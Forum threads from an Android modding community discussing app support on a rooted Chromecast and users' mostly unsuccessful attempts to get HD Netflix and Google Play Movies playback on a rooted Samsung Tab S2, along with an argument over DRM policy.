
Google apps on rooted chromecast and unroot question

Can newly released apps by Google for chromecasts be used and also updated in the Chromecast?
Can a Chromecast be unrooted? If not will it likely be possible in the future?
Sent from my Nexus 5 using Tapatalk

persianrisk said:
Can newly released apps by Google for chromecasts be used and also updated in the Chromecast?
Can a Chromecast be unrooted? If not will it likely be possible in the future?
Click to expand...
Click to collapse
Chromecast actually "pulls" the app from the vendor's site, with the possible exception of Netflix, so it's always running the newest version.
New apps on the Google whitelist are immediately available on Team-Eureka whitelist.
You can also switch it to use the standard Google whitelist if you want.
However, if a new application requires a specific firmware build, as was the case when Cast SDK 2.0 rolled out, then it may not work, because the custom builds lag behind the Google OTA roll-out. Team-Eureka has lives outside of XDA, as we all should.
Because of this Team-Eureka has been releasing Stock no updates ROMs soonafter a Google OTA is released. These stock ROMs do not include any Team Eureka features and behave exactly like non-rooted Chromecast, except they preserve root (you can still use FlashCast to flash ROMs/mods) and they do not auto-update, because update would mean losing root.
As for un-rooting. It's possible to flash a plain stock ROM if you really want to. That would mean permanently* losing root on the next automatic update.
If you are already rooted and don't want root, I would much rather trade you for a non-rootable Chromecast and preserve your rooted one.
It's not like a phone where you can unroot then get root back later.
* At least until another exploit is found, though that seems less and less likely as time goes by.

A most clear answer, thank you very much
Sent from my Nexus 5 using Tapatalk

persianrisk said:
A most clear answer, thank you very much
Click to expand...
Click to collapse
By the way, you can quickly see the current Eureka-ROM and Stock no updates releases by checking threads posted by Team-Eureka

netflix - systemless root - windvine made by garbage for garbage

Hello there,
Netflix refuses to play nice even on a systemless root, the only root app installed is supersu. I tried disabling supersu and that still didn't cut it. Anyone have any suggestions?
I am aware of liboemcrypto.so which if renamed/removed can break drm for other services that don't fall back on alternatives. I am aware of the CM patch for exynos 4 that works for this exynos 5 device.
I'm trying to find out if I'm missing something and if anyone would be willing to share with me how they are using netflix with the described scenario.
SM-T710 5.1.1 BOL6 with TWRP & SuperSU in system-less mode.
Thanks!! :silly:

Have you deleted su/xbin_bind?

ashyx said:
Have you deleted su/xbin_bind?
Click to expand...
Click to collapse
The act of even flashing TWRP trips the netflix drm, presumably windvine. I think this goes hand and hand with the systemless root identification. This is simply unacceptable.
This kind of abuse is why people circumvent overbearing DRM because it becomes too difficult to get content through appropriate means. Cavemen banging rocks together to fight the tide and punish paying customers.
I'll be writing emails to windvine, google and netflix to explain why this is unacceptable behavior. This is MY $ 400 tablet, I will not be subjected to nanny knows best mode because some pencil pusher thinks that people will steal video content on android. I mean really, there's far better platforms to do that sort of thing on. I don't think so... homie don't play that.
I encourage everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages.

wirelesskebab said:
Hello there,
Netflix refuses to play nice even on a systemless root, the only root app installed is supersu. I tried disabling supersu and that still didn't cut it. Anyone have any suggestions?
I am aware of liboemcrypto.so which if renamed/removed can break drm for other services that don't fall back on alternatives. I am aware of the CM patch for exynos 4 that works for this exynos 5 device.
I'm trying to find out if I'm missing something and if anyone would be willing to share with me how they are using netflix with the described scenario.
SM-T710 5.1.1 BOL6 with TWRP & SuperSU in system-less mode.
Thanks!! :silly:
Click to expand...
Click to collapse
Can you explain more about SuperSU in system-less mode? Is it a setting in SuperSU or you just need to flash latest stable SuperSU with TWRP and you will get that systemless root?

mk89pwnz said:
Can you explain more about SuperSU in system-less mode? Is it a setting in SuperSU or you just need to flash latest stable SuperSU with TWRP and you will get that systemless root?
Click to expand...
Click to collapse
As long as you have 5.1.1 >> and use supersu v2.6x then root will be system less as long as you don't make any modifications to the system partition.

netflix is ok on my rooted t715.
It only plays 720p which is annoying but fine otherwise.
also, .. weirdest non informative post title ever award goes to ...
you.

wirelesskebab said:
......
I'll be writing emails to windvine, google and netflix to explain why this is unacceptable behavior. This is MY $ 400 tablet, I will not be subjected to nanny knows best mode because some pencil pusher thinks that people will steal video content on android. I mean really, there's far better platforms to do that sort of thing on. I don't think so... homie don't play that.
.....
Click to expand...
Click to collapse
So because you own a $400 tablet Netflix should change THEIR policy and make THEIR service work on your tablet?
Entitled much? Don't like Netflix's policy, stop using their service.
Sent from my E6683 using Tapatalk

jarayn said:
netflix is ok on my rooted t715.
It only plays 720p which is annoying but fine otherwise.
also, .. weirdest non informative post title ever award goes to ...
you.
Click to expand...
Click to collapse
I'm glad that it works rooted for you, but my thread is not necessarily to be "informative" but to ask the community if they had any alternative solutions to allowing HD netflix content to play despite windvine; barring wiping my tablet. I'm only getting 420p, it was also not okay rooted/custom recovery and was completely disabled if not for workarounds. (This is the true intention of windvine, there is not meant to be a workaround otherwise the functionality wouldn't have been disabled just reduced quality.) Granted my topic title was a manifestation from days of frustration related to trying to find a solution.
_Dennis_ said:
So because you own a $400 tablet Netflix should change THEIR policy and make THEIR service work on your tablet?
Entitled much? Don't like Netflix's policy, stop using their service.
Sent from my E6683 using Tapatalk
Click to expand...
Click to collapse
It's interesting that you condone DRM that punishes paying customers. You're entitled to your opinion although I'm not sure why you've decided to make it about your feelings rather than the facts.
Your quote is incomplete; My message is about encouraging everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages. The more people who contact them the more likely that change can happen.
You should take note that even one of the largest cable operators "XFINITY" or "COMCAST" doesn't even resort to such draconian measures to protect their content and on that note they have some of the newest content, even releasing episodes before they air on TV same day via their web streaming/xfinity tv go app.

wirelesskebab said:
I'm glad that it works rooted for you, but my thread is not necessarily to be "informative" but to ask the community if they had any alternative solutions to allowing HD netflix content to play despite windvine; barring wiping my tablet. I'm only getting 420p, it was also not okay rooted/custom recovery and was completely disabled if not for workarounds. (This is the true intention of windvine, there is not meant to be a workaround otherwise the functionality wouldn't have been disabled just reduced quality.) Granted my topic title was a manifestation from days of frustration related to trying to find a solution.
It's interesting that you condone DRM that punishes paying customers. You're entitled to your opinion although I'm not sure why you've decided to make it about your feelings rather than the facts.
Your quote is incomplete; My message is about encouraging everyone to also get in touch with them and let them know why truly owning the device you paid for is your right and why they are taking video on demand back into the stone ages. The more people who contact them the more likely that change can happen.
You should take note that even one of the largest cable operators "XFINITY" or "COMCAST" doesn't even resort to such draconian measures to protect their content and on that note they have some of the newest content, even releasing episodes before they air on TV same day via their web streaming/xfinity tv go app.
Click to expand...
Click to collapse
my quote was incomplete, notice the ellipse (...) before and after?
You pay ~$9 a month for a service, you paid $400 for a tablet, you root the $400 item, then get mad that the service doesn't work, even though you knew going into rooting it wouldn't work. I'm sorry but you can be mad, you can ask for help, but at the end of the day you have three real options, don't root, root and live with low res, or cancel Netflix.
I'm not trying to be mean, I am trying manage expectations.
If XFINITY doesn't do it, use them (that's how a free market works). I understand the frustration, and the desire to find a way around the restrictions, but to claim Samsung or Netflix owes you something that you knew wasn't going to happen is entitled. You do own your tablet (though if you read the agreement you agreed to when opening the tablet you would know you don't own the software) but you do not own any of the content on Netflix, and so you have no right to demand Netflix comply with your demands. A grassroots effort is cool, though likely not to amount to much since the number of people who will stop service over this is small compared to the sway the content providers have over Netflix.
None of this is my feelings, it's based on facts. You own the hardware, Samsung owns the software, Netflix owns the service (and some of the original content), the content owners own the content.

_Dennis_ said:
my quote was incomplete, notice the ellipse (...) before and after?
You pay ~$9 a month for a service, you paid $400 for a tablet, you root the $400 item, then get mad that the service doesn't work, even though you knew going into rooting it wouldn't work. I'm sorry but you can be mad, you can ask for help, but at the end of the day you have three real options, don't root, root and live with low res, or cancel Netflix.
I'm not trying to be mean, I am trying manage expectations.
If XFINITY doesn't do it, use them (that's how a free market works). I understand the frustration, and the desire to find a way around the restrictions, but to claim Samsung or Netflix owes you something that you knew wasn't going to happen is entitled. You do own your tablet (though if you read the agreement you agreed to when opening the tablet you would know you don't own the software) but you do not own any of the content on Netflix, and so you have no right to demand Netflix comply with your demands. A grassroots effort is cool, though likely not to amount to much since the number of people who will stop service over this is small compared to the sway the content providers have over Netflix.
None of this is my feelings, it's based on facts. You own the hardware, Samsung owns the software, Netflix owns the service (and some of the original content), the content owners own the content.
Click to expand...
Click to collapse
The purpose of this thread is to ask others if they have any means of accessing HD content via Netflix on their rooted/custom recovery devices. Your replies have not been conducive or relevant to the original post. If you've got something helpful to contribute, please do. Thanks.

Just change device name to SM-T810 using buildprop, worked for me

Exactly which value did you modify? Nothing that I changed to the above suggestion would prompt Netflix to start playback for me.
Sent from my SM-T810

Grobou said:
Just change device name to SM-T810 using buildprop, worked for me
Click to expand...
Click to collapse
disturbd1 said:
Exactly which value did you modify? Nothing that I changed to the above suggestion would prompt Netflix to start playback for me.
Sent from my SM-T810
Click to expand...
Click to collapse
I'm using an SM-T710, I have no modified kernel nor am I using a custom rom. Are you saying you changed the buildprop on your SM-T810 using a custom rom etc?
I cannot get netflix to play with so much as even a custom recovery on my SM-T710 without a workaround which only provides 420p, are you stating you're getting HD content as well?
Eagerly awaiting your reply, thanks. :good:
I tried changing the device name to the model and that didn't make any difference, what did you explicitly change and what rom are you running?/firmware?

Didn't mean to revive a dead thread, but I'd really like some answers regarding this problem, too. I recently rooted my T-710, and installed the neked nook ROM on it. However, Netflix only plays at 480p. I tried several settings suggested to me:
1. modify build.prop
2. delete or rename liboemcrypto
3. modify APK to enable widevine DRM, thus allowing Netflix to stream HD content
None of these solutions have worked. Is this the case for anyone that roots their device?

troyraf said:
Didn't mean to revive a dead thread, but I'd really like some answers regarding this problem, too. I recently rooted my T-710, and installed the neked nook ROM on it. However, Netflix only plays at 480p. I tried several settings suggested to me:
1. modify build.prop
2. delete or rename liboemcrypto
3. modify APK to enable widevine DRM, thus allowing Netflix to stream HD content
None of these solutions have worked. Is this the case for anyone that roots their device?
Click to expand...
Click to collapse
Same problem, using a systemless root on my T710, with stock kernel, 5.1.1. and TWRP installed. I can get Netflix to work, but nothing seems to work to get it to HD instead of 480p. I'm wondering if the folks who get HD on rooted T710s are running 5.0.2?

rogerinnyc said:
Same problem, using a systemless root on my T710, with stock kernel, 5.1.1. and TWRP installed. I can get Netflix to work, but nothing seems to work to get it to HD instead of 480p. I'm wondering if the folks who get HD on rooted T710s are running 5.0.2?
Click to expand...
Click to collapse
I tried this on the stock 5.0.2 ROM, but to no avail. I've exhausted every resource I could find on the subject over the past couple of weeks, and I couldn't find a solution to this. Just removing root doesn't help either, as having even a custom recovery will disallow you from watching HD Netflix. I'm guessing perhaps the issue has something to do with messing around with the bootloader.
I wiped the tablet clean a couple of days ago and went back to stock. The bloatware sucks, but its the price to pay to get Netflix and Google Play videos working in HD again.

troyraf said:
I wiped the tablet clean a couple of days ago and went back to stock. The bloatware sucks, but its the price to pay to get Netflix and Google Play videos working in HD again.
Click to expand...
Click to collapse
Wow. That IS a heavy price. I can't give up Xposed or GMD Gesture Control, so I guess I'm living with 480p. Sigh. Thanks for your efforts (saving me some of that process!)
Some weird stuff with this device once you flash TWRP and root. Also just found out that Microsoft Office apps, notwithstanding that they come pre-loaded on the device, won't load. Uninstall, wipe data, etc. and go to Play Store to re-install and I get the message that the app (e.g., Word, Excel, Powerpoint) is not compatible with my device! Had to sideload apks from my phone (or you can also change your device ID).
Wonder what else I'll find out in the days ahead?

rogerinnyc said:
Wow. That IS a heavy price. I can't give up Xposed or GMD Gesture Control, so I guess I'm living with 480p. Sigh. Thanks for your efforts (saving me some of that process!)
Some weird stuff with this device once you flash TWRP and root. Also just found out that Microsoft Office apps, notwithstanding that they come pre-loaded on the device, won't load. Uninstall, wipe data, etc. and go to Play Store to re-install and I get the message that the app (e.g., Word, Excel, Powerpoint) is not compatible with my device! Had to sideload apks from my phone (or you can also change your device ID).
Wonder what else I'll find out in the days ahead?
Click to expand...
Click to collapse
RE: Office apps, that's the other head scratching thing I happened to come upon when I first got the tablet. Although GPlay Store will say that the apps need updating, it won't actually allow you to do so - this needs to be done via Galaxy Apps. It makes no sense considering the device is listed as compatible for these apps, and the apps come pre-installed. Its definitely an issue if you have a ROM that removes all the bloatware. Its also a bit frustrating because these "Galaxy Apps" are slower to update than their GPlay counterparts.
If you don't mind me asking, what ROM are you currently using? Have you also tried GPlay videos to see if they play in HD?
Also, do bump this thread if you happen to find any fixes. It will be much appreciated.

Sheesh. I hadn't even tried GPlay movies before your post. Upon testing, I can't get them to play in ANY resolution on my rooted tab S2! Renamed liboemcrypt.so without luck. Edited my boot.prop file to identify as a Nexus 10. No go. Tried Root Cloak. Ixnay. Any other thoughts?
I'm on stock 5.11, with systemless root using Su 2.71.
Also particularly bizarre that there is no problem with Google Play Movies on my rooted Tab S 10.5 (running stock 5.0.2) or on my rooted Note 4 (running stock 5.1.1). What's with this new Tab S2?

rogerinnyc said:
Sheesh. I hadn't even tried GPlay movies before your post. Upon testing, I can't get them to play in ANY resolution on my rooted tab S2! Renamed liboemcrypt.so without luck. Edited my boot.prop file to identify as a Nexus 10. No go. Tried Root Cloak. Ixnay. Any other thoughts?
I'm on stock 5.11, with systemless root using Su 2.71.
Also particularly bizarre that there is no problem with Google Play Movies on my rooted Tab S 10.5 (running stock 5.0.2) or on my rooted Note 4 (running stock 5.1.1). What's with this new Tab S2?
Click to expand...
Click to collapse
Try deleting liboemcrypto.so, see if that works. Suggest backing a copy up first. Seems like some get GPlay videos to work by renaming the file, and some by deleting it.
I went thru the root process again, and realized these devices already come with the bootloader unlocked, so the issue isn't the bootloader. I'm stumped. Having no root is so limiting.